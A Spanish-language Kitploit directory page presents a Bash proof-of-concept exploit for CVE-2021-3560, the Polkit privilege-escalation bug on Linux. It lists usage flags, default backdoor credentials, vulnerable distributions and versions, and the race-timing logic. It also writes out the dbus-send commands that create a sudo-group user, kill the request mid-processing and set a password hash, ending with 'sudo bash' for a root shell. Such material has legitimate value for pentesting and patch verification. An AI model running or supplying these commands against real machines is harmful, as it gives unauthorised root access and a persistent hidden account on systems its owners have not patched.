Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-3560-Polkit-Privilege-Esclation | Kitploit
Herramientas/GitHubGitHub/secnigma/cve-2021-3560-polkit-privilege-esclation
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAutenticación
GitHubsecnigma/cve-2021-3560-polkit-privilege-esclation

CVE-2021-3560-Polkit-Privilege-Esclation

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
12451hace 3 añosRevisado por Kitploit

CVE-2021-3560-Polkit-Privilege-Esclation PoC

Investigación original de Kevin Backhouse

Este es solo un script PoC en Bash que automatiza los pasos de explotación mencionados en el blog de Kevin Backhouse. Lee su publicación sobre esta vulnerabilidad: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

Uso

root@kitploit:~
USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

Cosas a tener en cuenta:

  • Este exploit solo funciona en distribuciones que tengan instalados accountsservice y gnome-control-center, y debe tener la versión polkit 0.113 (o posterior) O 0-105-26 (fork de polkit para Debian).
  • Este exploit fue probado en Ubuntu 20.04, con la versión 0-105-26 de polkit (fork de polkit para Debian) y en Centos 8 con la versión 0.115 de polkit. Si estás seguro de que tu objetivo es vulnerable, pero la función de comprobación del exploit falla, usa el flag -f=y para omitir todas las comprobaciones y forzar el exploit.
  • Se ha encontrado que distribuciones como RHEL 8, Fedora 21, Debian testing ("bullseye") y Ubuntu 20.04 son vulnerables.

¿Cómo funciona el exploit?

En el blog del investigador se ofrece una explicación completa y un PoC para explotar esto manualmente, con gran detalle.

TL;DR de este exploit se muestra a continuación:

  • Este ataque requiere una sincronización precisa y tenemos que iniciar sesión por SSH (o alguna sesión de línea de comandos, donde no sea posible abrir aplicaciones gráficas).
  • Un atacante puede explotar esta vulnerabilidad activando polkit mediante el envío de un mensaje dbus, pero cerrando la solicitud abruptamente mientras polkit está procesando la solicitud. Luego, el atacante puede enviar una segunda solicitud con el identificador de bus único de la solicitud anterior, para ejecutar la solicitud como UID 0, es decir, root.
  • Esta vulnerabilidad existe en polkit, porque trata el UID de una conexión con un identificador de bus que ya no existe como una solicitud del UID 0. Esto significa que, si podemos sincronizar correctamente el ataque y terminar nuestra primera solicitud en el momento adecuado, podemos enviar la segunda solicitud con los privilegios del UID 0, es decir, root.
  • El momento para terminar la conexión se calcula como el tiempo necesario para enviar el mensaje dbus / 2. Explicado en detalle aquí.

¿Qué hace realmente este script?

Como dije antes, esto es solo un script bash que automatiza el PoC de Kevin Backhouse. Los comandos principales son los mismos; solo automaticé algunos pasos iniciales (como calcular la sincronización correcta, escanear la vulnerabilidad, inserción de credenciales personalizadas, imprimir colores bonitos, etc.).

Si este script se ha ejecutado sin ningún parámetro, el comportamiento predeterminado de este script es el siguiente:

  • Comprueba el tipo de distribución. [Usando el archivo /etc/os-release.]
  • Comprueba la instalación de accountservice y gnome-control-center. [En rhel/centos/fedora, usa rpm -qa y en las distribuciones debian/ubuntu, usa dpkg -l].
  • Si se encuentran las instalaciones, el script comprueba la versión de polkit. [0.113 (o posterior) para rhel.centos,fedora y 0-105-26 para Debian/Ubuntu]
  • Si se encuentra que la versión de polkit es vulnerable, el script comienza la explotación
  • Primero, el script calcula el tiempo necesario para enviar la solicitud usando debus-send, ejecutando bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null
Descargar herramienta
  • Se puede encontrar una lista de compatibilidad de distribuciones en el blog de Kevin.
  • Este script inyecta un nuevo usuario en el grupo sudo. Si el exploit funciona, podemos iniciar sesión en la cuenta usando su - <username> con la contraseña proporcionada al script, y luego ejecutar sudo bash para obtener una shell de root.
  • Dado que este ataque depende de una sincronización precisa, NORMALMENTE SE REQUIEREN MÚLTIPLES INTENTOS para que este exploit funcione.
  • ADVERTENCIA: ¡NO EJECUTES ESTE SCRIPT EN UNA SESIÓN GRÁFICA!
  • Si este script se ejecuta en un entorno de inicio de sesión gráfico, el bucle seguirá mostrando la autenticación de polkit repetidamente. Por lo tanto, ejecuta este exploit solo dentro de una shell SSH/NC.
  • Si eso llegara a suceder, presiona la tecla Esc para cerrar la solicitud de autenticación y Ctrl+C para terminar el script rápidamente.
  • Luego, el tiempo para terminar la solicitud ($t) se calcula dividiendo el tiempo requerido para la solicitud entre 2. ($t=time-required-to-request/2) [Calculado usando awk]
  • Después de calcular el tiempo ($t), la solicitud para insertar el $username secnigma en el objetivo se repite 20 veces. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • Si la inserción del usuario es exitosa, [se detecta usando id secnigma], entonces se genera un hash de contraseña [usando bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)
  • Luego, el comando de inserción del hash de contraseña se ejecuta 20 veces. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!